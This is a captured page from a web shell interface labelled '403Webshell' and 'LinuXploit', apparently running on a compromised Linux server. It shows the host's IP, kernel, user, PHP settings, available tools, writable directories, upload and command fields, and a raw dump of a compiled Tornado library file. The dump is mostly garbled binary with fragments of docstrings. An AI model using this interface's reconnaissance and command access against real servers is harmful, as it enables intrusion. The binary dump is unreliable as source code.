403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/tornado/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/tornado/__pycache__/http1connection.cpython-311.pyc
�

��b_���n�dZddlZddlZddlZddlZddlmZmZmZddl	m
Z
mZddlm
Z
ddlmZddlmZddlmZmZdd	lmZdd
lmZmZmZmZmZmZmZGd�de��ZGd
�de��Z Gd�de��Z!Gd�dej"��Z#Gd�dej$��Z%Gd�de��Z&dS)zFClient and server implementations of HTTP/1.x.

.. versionadded:: 4.0
�N)�Future�future_add_done_callback�"future_set_result_unless_cancelled)�
native_str�utf8)�gen)�httputil)�iostream)�gen_log�app_log)�GzipDecompressor)�cast�Optional�Type�	Awaitable�Callable�Union�Tuplec��eZdZdd�ZdS)�_QuietException�returnNc��dS�N���selfs �9/usr/lib/python3/dist-packages/tornado/http1connection.py�__init__z_QuietException.__init__+������rN)�__name__�
__module__�__qualname__rrr rrr*s(������
�
�
�
�
�
r rc�b�eZdZdZdejddfd�Zdd�Zddd	ee	d
e
jddfd�ZdS)
�_ExceptionLoggingContextz�Used with the ``with`` statement when calling delegate methods to
    log any exceptions with the given logger.  Any exceptions caught are
    converted to _QuietException
    �loggerrNc��||_dSr)r')rr's  rrz!_ExceptionLoggingContext.__init__5s
������r c��dSrrrs r�	__enter__z"_ExceptionLoggingContext.__enter__8rr �typzOptional[Type[BaseException]]�value�tbc�^�|�*|�J�|j�d|||f���t�dS)N�Uncaught exception��exc_info)r'�errorr)rr+r,r-s    r�__exit__z!_ExceptionLoggingContext.__exit__;sD�����?�?�?��K���2�c�5�"�=M��N�N�N�!�!��r r!)
r"r#r$�__doc__�logging�Loggerrr*r�
BaseException�types�
TracebackTyper3rr rr&r&/s���������
�w�~��$�����
�
�
�
�	"�
,�	"��
�&�	"�
��		"�

�	"�	"�	"�	"�	"�	"r r&c��eZdZdZ							d
dedeedeedeedeed	eed
eddfd�ZdS)�HTTP1ConnectionParametersz?Parameters for `.HTTP1Connection` and `.HTTP1ServerConnection`.FN�
no_keep_alive�
chunk_size�max_header_size�header_timeout�
max_body_size�body_timeout�
decompressrc�p�||_|pd|_|pd|_||_||_||_||_dS)a;
        :arg bool no_keep_alive: If true, always close the connection after
            one request.
        :arg int chunk_size: how much data to read into memory at once
        :arg int max_header_size:  maximum amount of data for HTTP headers
        :arg float header_timeout: how long to wait for all headers (seconds)
        :arg int max_body_size: maximum amount of data for body
        :arg float body_timeout: how long to wait while reading body (seconds)
        :arg bool decompress: if true, decode incoming
            ``Content-Encoding: gzip``
        iN)r<r=r>r?r@rArB)rr<r=r>r?r@rArBs        rrz"HTTP1ConnectionParameters.__init__JsH��*+���$�-����.�7�%���,���*���(���$����r )FNNNNNF)	r"r#r$r4�boolr�int�floatrrr rr;r;Gs�������I�I�$�$(�)-�*.�'+�(,� �%�%��%��S�M�%�"�#��	%�
!���%� ��}�
%��u�o�%��%�
�%�%�%�%�%�%r r;c��eZdZdZ		d+dejdedeedee	ddf
d�Z
d	ejde
efd
�Zd	ejdefd�Zd,d�Zd
eegdfddfd�Zd,d�Zd,d�Zdejfd�Zdeddfd�Zdeddfd�Z	d-deejejfdejdeeddfd�Zdedefd�Z deddfd�Z!d,d�Z"d.d�Z#dejdejdefd �Z$d/d"�Z%d#ede&e'ejffd$�Z(d%edejd	ejdee
dfd&�Z)d'ed	ejddfd(�Z*d	ejddfd)�Z+d	ejddfd*�Z,dS)0�HTTP1Connectionz�Implements the HTTP/1.x protocol.

    This class can be on its own for clients, or via `HTTP1ServerConnection`
    for servers.
    N�stream�	is_client�params�contextrc��||_||_|�t��}||_||_|j|_|jj�|jjn|jj|_|jj	|_
d|_d|_t��|_d|_|���d|_d|_d|_d|_d|_d|_dS)a
        :arg stream: an `.IOStream`
        :arg bool is_client: client or server
        :arg params: a `.HTTP1ConnectionParameters` instance or ``None``
        :arg context: an opaque application-defined object that can be accessed
            as ``connection.context``.
        NF)rJrIr;rKrLr<r@�max_buffer_size�_max_body_sizerA�
_body_timeout�_write_finished�_read_finishedr�_finish_future�_disconnect_on_finish�_clear_callbacks�_request_start_line�_response_start_line�_request_headers�_chunking_output�_expected_content_remaining�_pending_write)rrIrJrKrLs     rrzHTTP1Connection.__init__os���#�������>�.�0�0�F�������#�1���
�{�(�4�
�K�%�%���,�	
��
"�[�5��� %���#���%�h�h���&+��"�������$(�� �$(��!� $��� %���,0��(�"����r �delegatec�x�|jjrt||jj��}|�|��S)azRead a single HTTP response.

        Typical client-mode usage is to write a request using `write_headers`,
        `write`, and `finish`, and then call ``read_response``.

        :arg delegate: a `.HTTPMessageDelegate`

        Returns a `.Future` that resolves to a bool after the full response has
        been read. The result is true if the stream is still open.
        )rKrB�_GzipMessageDelegater=�
_read_message)rr\s  r�
read_responsezHTTP1Connection.read_response�s:���;�!�	N�+�H�d�k�6L�M�M�H��!�!�(�+�+�+r c��K�d}	|j�d|jj���}|jj�	|�d{V��}n�	tj|jj���|jjz|tj
����d{V��}n�#t
j$rp|���Y|r@tt��5|���ddd��n#1swxYwYd}|���dSwxYw|�|��\}}|jr%t'j|��}||_|}d|_n@t'j|��}	|	|_||_|	}|�|	|��|_d}tt��5|�||��}
|
�|
�d{V��ddd��n#1swxYwY|j�]d}	|r@tt��5|���ddd��n#1swxYwYd}|���dSd}|jr�t9|t&j��sJ�|j�|jjdkrd}|j}|dkrd}d|cxkrd	kr=nnud
|vsd|vrt'j d|z���|�!|���d{V��n:|�"d
��dkr!|j#s|j�$d��|�s%|�%|jr|jnd||��}
|
��|j&�	|
�d{V��n�	tj|jj���|j&z|
tj
����d{V��n�#t
j$r�tOj(d|j)��|j���Y|r@tt��5|���ddd��n#1swxYwYd}|���dSwxYwd|_*|j#r|jrBd}tt��5|�+��ddd��n#1swxYwY|j,�-��sL|j�E|j�.��s,|j�/|j0��|j,�d{V��|jr|jr|���|j�[	|r@tt��5|���ddd��n#1swxYwYd}|���dSn�#t&j $r�}tOj(d|j)|��|js |j�$d���d{V��|���Yd}~|r@tt��5|���ddd��n#1swxYwYd}|���dSd}~wwxYw	|r@tt��5|���ddd��n#1swxYwYd}|���n]#|r@tt��5|���ddd��n#1swxYwYd}|���wxYwdS)NFs
?

?
��	max_bytes)�quiet_exceptionsT�HEAD�0�d���Content-Length�Transfer-Encodingz!Response code %d cannot have body�Expectz100-continuesHTTP/1.1 100 (Continue)

rzTimeout reading body from %sz"Malformed HTTP message from %s: %ssHTTP/1.1 400 Bad Request

)1rI�read_until_regexrKr>r?r�with_timeout�io_loop�timer
�StreamClosedError�TimeoutError�closer&r�on_connection_closerU�_parse_headersrJr	�parse_response_start_linerWrT�parse_request_start_linerVrX�_can_keep_alive�headers_received�
isinstance�ResponseStartLine�method�code�HTTPInputErrorr_�getrQ�write�
_read_bodyrPr�inforLrR�finishrS�done�closed�set_close_callback�_on_connection_close)rr\�need_delegate_close�
header_future�header_data�start_line_str�headers�resp_start_line�
start_line�req_start_line�header_recv_future�	skip_bodyr|�body_future�es               rr_zHTTP1Connection._read_message�si
����#��u	$� �K�8�8����)D�9���M��{�)�1�$1�1�1�1�1�1�1���!�(+�(8���+�0�0�2�2�T�[�5O�O�%�)1�)C�)�)�)�#�#�#�#�#�#�K�K��
�'�!�!�!��J�J�L�L�L� �D#�
3�-�g�6�6�3�3��0�0�2�2�2�3�3�3�3�3�3�3�3�3�3�3����3�3�3�3� �M��!�!�#�#�#�#�#�Q!����'+�&9�&9�+�&F�&F�#�N�G��~�
�"*�"D�^�"T�"T��,;��)�#��.3��*�*�!)�!B�>�!R�!R��+9��(�(/��%�+�
�15�1E�1E�"�G�2�2�.��*�#'��)�'�2�2�
-�
-�%-�%>�%>�z�7�%S�%S�"�%�1�,�,�,�,�,�,�,�,�
-�
-�
-�
-�
-�
-�
-�
-�
-�
-�
-����
-�
-�
-�
-��{�"�&+�#��P#�
3�-�g�6�6�3�3��0�0�2�2�2�3�3�3�3�3�3�3�3�3�3�3����3�3�3�3� �M��!�!�#�#�#�#�#�W�I��~�
J�!�*�h�.H�I�I�I�I�I��,�8��0�7�6�A�A� $�I�!����3�;�;�!%�I��$�$�$�$�$��$�$�$�$�$�(�7�2�2�6I�W�6T�6T�&�5�?�$�F����
�,�,�X�6�6�6�6�6�6�6�6�6���;�;�x�(�(�N�:�:�4�CW�:��K�%�%�&H�I�I�I��
)�"�o�o�,0�N�A�O�(�(��7�H�����*��)�1�)�)�)�)�)�)�)�)�)�	)�"%�"2� $�� 3� 8� 8� :� :�T�=O� O� +�19�1K�#�#�#����������
 #�/�)�)�)�#�L�)G���V�V�V� �K�-�-�/�/�/�#(�6#�
3�-�g�6�6�3�3��0�0�2�2�2�3�3�3�3�3�3�3�3�3�3�3����3�3�3�3� �M��!�!�#�#�#�#�#�E)����#'�D���'�
&�4�>�
&�&+�#�-�g�6�6�&�&��O�O�%�%�%�&�&�&�&�&�&�&�&�&�&�&����&�&�&�&��'�,�,�.�.�
*��K�+���*�*�,�,�,���.�.�t�/H�I�I�I��)�)�)�)�)�)�)�)��~�
�$�"<�
��
�
�����{�"��#�
3�-�g�6�6�3�3��0�0�2�2�2�3�3�3�3�3�3�3�3�3�3�3����3�3�3�3� �M��!�!�#�#�#�#�#�#���&�	�	�	��L�=�t�|�Q�O�O�O��>�
M��k�'�'�(K�L�L�L�L�L�L�L�L�L��J�J�L�L�L��5�5�5�"�
3�-�g�6�6�3�3��0�0�2�2�2�3�3�3�3�3�3�3�3�3�3�3����3�3�3�3� �M��!�!�#�#�#�#�#�����	����#�#�
3�-�g�6�6�3�3��0�0�2�2�2�3�3�3�3�3�3�3�3�3�3�3����3�3�3�3� �M��!�!�#�#�#�#��	#�
3�-�g�6�6�3�3��0�0�2�2�2�3�3�3�3�3�3�3�3�3�3�3����3�3�3�3� �M��!�!�#�#�#�#�����ts\�;V�AB�V�#D�6V�
C.�.C2�5C2�D�BV�/!G�V�G � V�#G �$V�H(�(H,�/H,�DV�AN$�#V�$AQ�&V�=P�P"�%P"�Q�.V�0R�V�R�V�R�BV�U"�"U&�)U&�Z+�Y�AY	�+Z+�X&�&X*�-X*�	Y�Z+�(Z	�	Z
�Z
�+\�[#�\�#['�'\�*['�+\c�v�d|_d|_d|_|j�|j�d��dSdS)z�Clears the callback attributes.

        This allows the request handler to be garbage collected more
        quickly in CPython by breaking up reference cycles.
        N)�_write_callback�
_write_future�_close_callbackrIr�rs rrUz HTTP1Connection._clear_callbacks1sH�� $���!���#����;�"��K�*�*�4�0�0�0�0�0�#�"r �callbackc��||_dS)a$Sets a callback that will be run when the connection is closed.

        Note that this callback is slightly different from
        `.HTTPMessageDelegate.on_connection_close`: The
        `.HTTPMessageDelegate` method is called when the connection is
        closed while receiving a message. This callback is used when
        there is not an active delegate (for example, on the server
        side this callback is used if the client closes the connection
        after sending its request but before receiving all the
        response.
        N)r��rr�s  rr�z"HTTP1Connection.set_close_callback=s�� (����r c���|j�|j}d|_|��|j���st|jd��|���dSr)r�rSr�rrUr�s  rr�z$HTTP1Connection._on_connection_closeKsk����+��+�H�#'�D� ��H�J�J�J��"�'�'�)�)�	J�.�t�/B�D�I�I�I��������r c���|j�|j���|���|j���st|jd��dSdSr)rIrrrUrSr�rrs rrrzHTTP1Connection.closeWsm���;�"��K�������������"�'�'�)�)�	J�.�t�/B�D�I�I�I�I�I�	J�	Jr c��|���|j}d|_|j���st	|jd��|S)a>Take control of the underlying stream.

        Returns the underlying `.IOStream` object and stops all further
        HTTP processing.  May only be called during
        `.HTTPMessageDelegate.headers_received`.  Intended for implementing
        protocols like websockets that tunnel over an HTTP handshake.
        N)rUrIrSr�r)rrIs  r�detachzHTTP1Connection.detach^sT��	
�������������"�'�'�)�)�	J�.�t�/B�D�I�I�I��
r �timeoutc��||_dS)ztSets the body timeout for a single request.

        Overrides the value from `.HTTP1ConnectionParameters`.
        N)rP)rr�s  r�set_body_timeoutz HTTP1Connection.set_body_timeoutms��
%����r r@c��||_dS)zwSets the body size limit for a single request.

        Overrides the value from `.HTTP1ConnectionParameters`.
        N)rO)rr@s  r�set_max_body_sizez!HTTP1Connection.set_max_body_sizets��
,����r r�r��chunk�Future[None]c���g}|jr{t|tj��sJ�||_|�t
|d�d|d�d�����|jdvod|vod|vp|ddk|_�nt|tj	��sJ�|j�J�|j
�J�||_|�t
d
|d|dfz����|jjdko6|jjd
ko&|j
dvo|j
dkp
|j
dkod|vod|v|_|jjdkr|jrd|d<|jjdkr6|j
�dd�����dkrd|d<|jrd|d<|js;|jjd
ks#t#tj	|��j
dkrd|_n&d|vrt'|d��|_nd	|_d�|���D��}|�d�|D����|D]%}d|vrt-dt/|��z����&d	}|j���rPt5��x}|_|�t;j����|���n�t5��x}|_d� |��dz}|r||�!|��z
}|j�"|��|_#tI|j#|j%��|S)z+Implements `.HTTPConnection.write_headers`.r� �z	 HTTP/1.1)�POST�PUT�PATCHrirj�chunkedNzHTTP/1.1 %d %s��HTTP/1.1re)��rfrgrhrr�
ConnectionzHTTP/1.0��
keep-alivez
Keep-Aliverfc3�`K�|])\}}t|��dzt|��zV��*dS)z: N)r)�.0�n�vs   r�	<genexpr>z0HTTP1Connection.write_headers.<locals>.<genexpr>�sM����
�
�59�Q��J�q�M�M�D� �:�a�=�=�0�
�
�
�
�
�
r c3�@K�|]}|�d��V��dS)�latin1N)�encode)r��lines  rr�z0HTTP1Connection.write_headers.<locals>.<genexpr>�s.����D�D�t�T�[�[��*�*�D�D�D�D�D�Dr �
zNewline in header: �
s

)&rJryr	�RequestStartLinerV�appendrr{rYrzrXrW�versionr|rTr~�lowerrrZrE�get_all�extend�
ValueError�reprrIr�rr��
set_exceptionr
rp�	exception�join�
_format_chunkrr[r�_on_write_complete)	rr�r�r��lines�header_linesr��future�datas	         r�
write_headerszHTTP1Connection.write_headers{s������>�1	5��j�(�*C�D�D�D�D�D�'1�D�$��L�L��*�Q�-�-�-��A����O�P�P�Q�Q�Q��!�%=�=��$�G�3��(�w�6�A��2�3�y�@�
�!�!��j�(�*D�E�E�E�E�E��+�7�7�7��(�4�4�4�(2�D�%��L�L��.�*�Q�-��A��1O�O�P�P�Q�Q�Q�
�(�0�J�>�7��,�3�v�=�7��O�:�5�
7� �_�s�*�D�j�o��.D�7�%�G�3�7�(�w�6�!
�!�(�(�0�J�>�>��.�?�)0���%��(�0�J�>�>��)�-�-�l�B�?�?�E�E�G�G�<�W�W�(4���%�� �	5�+4�G�'�(��~�	4��$�+�v�5�5��H�.�
�;�;�@�C�G�G�/0�D�,�,�
��
(�
(�/2�7�;K�3L�/M�/M�D�,�,�/3�D�,�
�
�=D�_�_�=N�=N�
�
�
��	���D�D�|�D�D�D�D�D�D��	E�	E�D���}�}� �!6��d���!C�D�D�D�����;�����
	S�*0�(�(�2�F�T�'�� � ��!;�!=�!=�>�>�>��������*0�(�(�2�F�T�'��<�<��&�&��4�D��
2���*�*�5�1�1�1��"&�+�"3�"3�D�"9�"9�D��$�T�%8�$�:Q�R�R�R��
r c� �|j�U|xjt|��zc_|jdkr-|j���t	jd���|jr*|r(tdt|��z��dz|zdzS|S)Nrz,Tried to write more data than Content-Lengthz%xr�)rZ�lenrIrrr	�HTTPOutputErrorrYr)rr�s  rr�zHTTP1Connection._format_chunk�s����+�7��,�,��E�
�
�:�,�,��/�!�3�3���!�!�#�#�#��.�B����� �	�U�	���s�5�z�z�)�*�*�W�4�u�<�w�F�F��Lr c��d}|j���rZt��x}|_|j�tj����|j���nat��x}|_|j�|�	|����|_
t|j
|j��|S)z�Implements `.HTTPConnection.write`.

        For backwards compatibility it is allowed but deprecated to
        skip `write_headers` and instead call `write()` with a
        pre-encoded header block.
        N)
rIr�rr�r�r
rpr�rr�r[rr�)rr�r�s   rrzHTTP1Connection.write�s������;�����	S�*0�(�(�2�F�T�'���,�,�X�-G�-I�-I�J�J�J���(�(�*�*�*�*�*0�(�(�2�F�T�'�"&�+�"3�"3�D�4F�4F�u�4M�4M�"N�"N�D��$�T�%8�$�:Q�R�R�R��
r c�P�|j�Y|jdkrN|j���s5|j���t	jd|jz���|jrW|j���s>|j�d��|_|j�	|j
��d|_|jsd|_
|j�d��|j�|�d��dSt!|j|j��dS)z$Implements `.HTTPConnection.finish`.Nrz0Tried to write %d bytes less than Content-Lengths0

T)rZrIr�rrr	r�rYrr[�add_done_callbackr�rQrRrT�set_nodelay�_finish_requestrrs rr�zHTTP1Connection.finish�s5��
�,�8��0�A�5�5��K�&�&�(�(�6�
�K�������*�B��2�3���
�� �	O��;�%�%�'�'�
O�&*�k�&7�&7��&E�&E��#��#�5�5�d�6M�N�N�N�#����"�	.�)-�D�&�	
�����%�%�%���&�� � ��&�&�&�&�&�$�T�%8�$�:N�O�O�O�O�Or r�c�D�|���}|�.t|tj��s|���|j�-|j}d|_|jj�|��|j	� |j	}d|_	t|d��dSdSr)r�ryr
rp�resultr�rIrn�add_callbackr�r)rr��excr�s    rr�z"HTTP1Connection._on_write_completes������ � ���?�:�c�8�3M�#N�#N�?��M�M�O�O�O���+��+�H�#'�D� ��K��,�,�X�6�6�6���)��'�F�!%�D��.�v�t�<�<�<�<�<�*�)r c�,�|jjrdS|�d��}|�|���}|jdkr|dkSd|vs?|�dd�����dkst|d	d��d
vr|dkSdS)NFr�r�rrrirjr�r�r{)re�GETr�)rKr<r~r�r��getattr)rr�r��connection_headers    rrwzHTTP1Connection._can_keep_alive's����;�$�	��5�#�K�K��5�5���(� 1� 7� 7� 9� 9�����+�+�$��/�/���'�'��{�{�.��3�3�9�9�;�;�y�H�H��z�8�T�2�2�o�E�E�%��4�4��ur �Optional[Future[None]]c�
�|���|js|jr|���dS|j�d��|j���st|jd��dSdS)NF)	rUrJrTrrrIr�rSr�r)rr�s  rr�zHTTP1Connection._finish_request;s����������~�	�$�"<�	��J�J�L�L�L��F�	
�����&�&�&��"�'�'�)�)�	J�.�t�/B�D�I�I�I�I�I�	J�	Jr r�c�&�t|�d�����d��}|�d��}|d|��d��}t
j�||d���}||fS)Nr�z
�
�
)r�decode�lstrip�find�rstripr	�HTTPHeaders�parse)rr��data_str�eolr�r�s      rrtzHTTP1Connection._parse_headersFs���
�d�k�k�(�3�3�4�4�;�;�F�C�C���m�m�D�!�!���d�s�d�^�*�*�4�0�0�
��&�,�,�X�c�d�d�^�<�<���7�"�"r r|c�6��d|vr�d|vrtjd���d|dvr^tjd|d���t	�fd��D����rtjd|dz����d|d<	t|d��}n+#t$rtjd	|dz���wxYwtt
|��|jkrtjd
���nd}|dkr!d|vs|dvrtjd
|z���d}|�|�	||��S|�
dd�����dkr|�|��S|j
r|�|��SdS)Nrirjz7Response with both Transfer-Encoding and Content-Length�,z,\s*c3�0�K�|]}|�dkV��dS)rNr)r��i�piecess  �rr�z-HTTP1Connection._read_body.<locals>.<genexpr>es+�����6�6�!�q�F�1�I�~�6�6�6�6�6�6r z$Multiple unequal Content-Lengths: %rrz*Only integer Content-Length is allowed: %szContent-Length too longr�)Nrz*Response with code %d should not have bodyr�r�)r	r}�re�split�anyrEr�rrO�_read_fixed_bodyr~r��_read_chunked_bodyrJ�_read_body_until_close)rr|r�r\�content_lengthr�s     @rr�zHTTP1Connection._read_bodyRs
����w�&�&�"�g�-�-��-�M�����g�.�/�/�/���'�7�3C�+D�E�E���6�6�6�6�v�6�6�6�6�6��"�1�>�!�"2�3�4����-3�1�I��(�)�
�!$�W�-=�%>�!?�!?�����
�
�
��-�@��.�/�0����
�����C��(�(�4�+>�>�>��-�.G�H�H�H�?�"�N��3�;�;�#�g�-�-��y�1P�1P��-�@�4�G�����N��%��(�(���B�B�B��;�;�*�B�/�/�5�5�7�7�9�D�D��*�*�8�4�4�4��>�	9��.�.�x�8�8�8��ts�B�(Cr�c��pK�|dkr�|j�t|jj|��d����d{V��}|t|��z}|jr|jrKtt��5|�
|��}|�|�d{V��ddd��n#1swxYwY|dk��dSdS)NrT��partial)rI�
read_bytes�minrKr=r�rQrJr&r�
data_received)rr�r\�body�rets     rr�z HTTP1Connection._read_fixed_body�s,�����q� � ���/�/��D�K�*�N�;�;�T�0���������D�
�c�$�i�i�'�N��'�
"�4�>�
"�-�g�6�6�"�"�"�0�0��6�6�C���!�	�	�	�	�	�	�	�"�"�"�"�"�"�"�"�"�"�"����"�"�"�"�
�q� � � � � � s�7 B#�#B'�*B'c��
K�d}	|j�dd����d{V��}t|���d��}|dkr<|j�d���d{V��}|dkrtjd���dS||z
}||jkrtjd	���|}|r�|j�t||j	j
��d�
���d{V��}|t|��z}|jr|j
rKtt��5|�|��}|�|�d{V��ddd��n#1swxYwY|��|j�d���d{V��}|dksJ���)NrTr��@rb�r�z%improperly terminated chunked requestzchunked body too larger�)rI�
read_untilrE�stripr�r	r}rOr�rKr=r�rQrJr&rr�)	rr\�
total_size�
chunk_len_str�	chunk_len�crlf�
bytes_to_readr�r�s	         rr�z"HTTP1Connection._read_chunked_body�s+�����
�	#�"&�+�"8�"8��B�"8�"O�"O�O�O�O�O�O�O�M��M�/�/�1�1�2�6�6�I��A�~�~�!�[�3�3�A�6�6�6�6�6�6�6�6���7�?�?�"�1�?�������)�#�J��D�/�/�/��-�.F�G�G�G�%�M��	
&�"�k�4�4��
�t�{�'=�>�>��5������������U���+�
��+�&�t�~�&�1�'�:�:�&�&�&�4�4�U�;�;���?�"%�I�I�I�I�I�I�I�&�&�&�&�&�&�&�&�&�&�&����&�&�&�&�
 �	
&���/�/��2�2�2�2�2�2�2�2�D��7�?�?�?�?�5	#s�" E�E�Ec��K�|j����d{V��}|jr|jrNt	t
��5|�|��}|�|�d{V��ddd��dS#1swxYwYdSdSr)rI�read_until_closerQrJr&rr�)rr\r�r�s    rr�z&HTTP1Connection._read_body_until_close�s������[�1�1�3�3�3�3�3�3�3�3���#�	�t�~�	�)�'�2�2�
�
��,�,�T�2�2���?��I�I�I�I�I�I�I�
�
�
�
�
�
�
�
�
�
�
�
����
�
�
�
�
�
�	�	s� A1�1A5�8A5�NNr!r)r�r�rN)r�r�rN)-r"r#r$r4r
�IOStreamrDrr;�objectrr	�HTTPMessageDelegaterr`r_rUrr�r�rrr�rFr�rEr�rr�rzr��bytesr�r�rr�r�rwr�r�strrtr�r�r�r�rr rrHrHhs���������7;�$(�7#�7#��!�7#��7#��2�3�	7#�
�&�!�7#�
�
7#�7#�7#�7#�r
,�h�&B�
,�y�QU��
,�
,�
,�
,�x�H�,H�x�T�x�x�x�x�t
1�
1�
1�
1�(�8�H�R��X�4F�+G�(�D�(�(�(�(�
 �
 �
 �
 �J�J�J�J�
��)�
�
�
�
�%��%�$�%�%�%�%�,�s�,�t�,�,�,�,�"&�	[�[��(�3�X�5O�O�P�[��%�[����	[�

�[�[�[�[�z�5��U����� �5��^�����$P�P�P�P�@=�=�=�=��"�3��>F�>R��	
�����(	J�	J�	J�	J�
#�5�
#�U�3��8L�3L�-M�
#�
#�
#�
#�8��8��%�8��.�	8�

�)�D�/�	"�8�8�8�8�t"�!�"�-5�-I�"�	
�"�"�"�"�#��1M�#�RV�#�#�#�#�>� �4��	
������r rHc��eZdZdZdejdeddfd�Zdeej	ej
fdejdee
dfd	�Zd
eddfd�Zdd�Zdd
�ZdS)r^zDWraps an `HTTPMessageDelegate` to decode ``Content-Encoding: gzip``.r\r=rNc�0�||_||_d|_dSr)�	_delegate�_chunk_size�
_decompressor)rr\r=s   rrz_GzipMessageDelegate.__init__�s��!���%���!����r r�r�c���|�dd�����dkr2t��|_|�d|d��|d=|j�||��S)NzContent-Encodingr��gzipzX-Consumed-Content-Encoding)r~r�r
r�addrrx)rr�r�s   rrxz%_GzipMessageDelegate.headers_received�sv��
�;�;�)�2�.�.�4�4�6�6�&�@�@�!1�!3�!3�D��
�K�K�5�w�?Q�7R�S�S�S��*�+��~�.�.�z�7�C�C�Cr r�c��LK�|jrt|}|rn|j�||j��}|r$|j�|��}|�|�d{V��|jj}|r|st
jd���|�ldSdS|j�|��}|�
|�d{V��dSdS)Nz8encountered unconsumed gzip data without making progress)rrBrrr��unconsumed_tailr	r})rr��compressed_data�decompressedr�s     rr�z"_GzipMessageDelegate.data_received�s�������	�#�O�!�
�#�1�<�<�#�T�%5� � �� �"��.�6�6�|�D�D�C���!�	�	�	�	�	�	�	�"&�"4�"D��"��<��"�1�R����"�
�
�
�
�
��.�.�.�u�5�5�C����	�	�	�	�	�	�	�	�	��r c��|j�*|j���}|rtd���|j���S)Nz:decompressor.flush returned data; possible truncated input)r�flushr�rr�)r�tails  rr�z_GzipMessageDelegate.finish�sT����)��%�+�+�-�-�D��	
�!�P�����~�$�$�&�&�&r c�4�|j���Sr)rrsrs rrsz(_GzipMessageDelegate.on_connection_close�s���~�1�1�3�3�3r r!)r"r#r$r4r	rrErrr�rzr�rrrxrr�r�rsrr rr^r^�s�������N�N�"��!=�"�3�"�SW�"�"�"�"�
D��(�3�X�5O�O�P�D��%�D�
�)�D�/�	"�	D�D�D�D����4�����*
'�
'�
'�
'�4�4�4�4�4�4r r^c	��eZdZdZ		ddejdeedeeddfd�Z	d
d�Z
d	ejddfd
�Z
d	ejddfd�ZdS)�HTTP1ServerConnectionzAn HTTP/1.x server.NrIrKrLrc�^�||_|�t��}||_||_d|_dS)z�
        :arg stream: an `.IOStream`
        :arg params: a `.HTTP1ConnectionParameters` or None
        :arg context: an opaque application-defined object that is accessible
            as ``connection.context``
        N)rIr;rKrL�_serving_future)rrIrKrLs    rrzHTTP1ServerConnection.__init__s7������>�.�0�0�F�������#����r c��K�|j���|j�J�	|j�d{V��dS#t$rYdSwxYw)zmCloses the connection.

        Returns a `.Future` that resolves after the serving loop has exited.
        N)rIrrr%�	Exceptionrs rrrzHTTP1ServerConnection.closesu����
	
��������#�/�/�/�	��&�&�&�&�&�&�&�&�&�&���	�	�	��D�D�	���s�
5�
A�Ar\c���t|tj��sJ�tj|�|����}||_|jj�	|d���dS)znStarts serving requests on this connection.

        :arg delegate: a `.HTTPServerConnectionDelegate`
        c�*�|���Sr)r�)�fs r�<lambda>z5HTTP1ServerConnection.start_serving.<locals>.<lambda>/s��a�h�h�j�j�r N)
ryr	�HTTPServerConnectionDelegater�convert_yielded�_server_request_loopr%rIrn�
add_future)rr\�futs   r�
start_servingz#HTTP1ServerConnection.start_serving&sh��
�(�H�$I�J�J�J�J�J��!�$�";�";�H�"E�"E�F�F��"������&�&�s�,@�,@�A�A�A�A�Ar c���K�		t|jd|j|j��}|�||��}	|�|���d{V��}n�#tjtjtj
f$rY|�|��dSt$r-|�
��Y|�|��dSt$rCtjdd���|�
��Y|�|��dSwxYw|s	|�|��dStjd���d{V����L#|�|��wxYw)NTFr/r0r)rHrIrKrL�
start_requestr`r
rp�UnsatisfiableReadError�asyncio�CancelledError�on_closerrrr'rr2�sleep)rr\�conn�request_delegater�s     rr.z*HTTP1ServerConnection._server_request_loop1s�����	$�
'�&�t�{�E�4�;���U�U��#+�#9�#9�$��#E�#E� �� $� 2� 2�3C� D� D�D�D�D�D�D�D�C�C���.��3��*�����
�
���d�#�#�#�#�#�'�����J�J�L�L�L��
���d�#�#�#�#�#�!�����M�"6��F�F�F�F��J�J�L�L�L��

���d�#�#�#�#�#��������
���d�#�#�#�#�#��m�A�&�&�&�&�&�&�&�&�&�+
'��.
���d�#�#�#�#���sL�8E�A�E�&D�?E�D�4E�3D�?E�D�E�5E�E(rr!)r"r#r$r4r
r
rr;rrrrr	r,r1r.rr rr#r#s���������
7;�$(�	$�$��!�$��2�3�$��&�!�	$�

�$�$�$�$�&����	B�h�&K�	B�PT�	B�	B�	B�	B�$� �=�$�	
�$�$�$�$�$�$r r#)'r4r5r5r�r8�tornado.concurrentrrr�tornado.escaperr�tornadorr	r
�tornado.logrr�tornado.utilr
�typingrrrrrrrr'rrr&r;�HTTPConnectionrHrr^r#rr r�<module>rBs;�� ��
��������	�	�	�	���������������
,�+�+�+�+�+�+�+�������������������(�(�(�(�(�(�(�(�)�)�)�)�)�)�K�J�J�J�J�J�J�J�J�J�J�J�J�J�J�J�J�J�
�
�
�
�
�i�
�
�
�
"�"�"�"�"�v�"�"�"�0%�%�%�%�%��%�%�%�BY	�Y	�Y	�Y	�Y	�h�-�Y	�Y	�Y	�x;4�;4�;4�;4�;4�8�7�;4�;4�;4�|J$�J$�J$�J$�J$�F�J$�J$�J$�J$�J$r 

Youez - 2016 - github.com/yon3zu
LinuXploit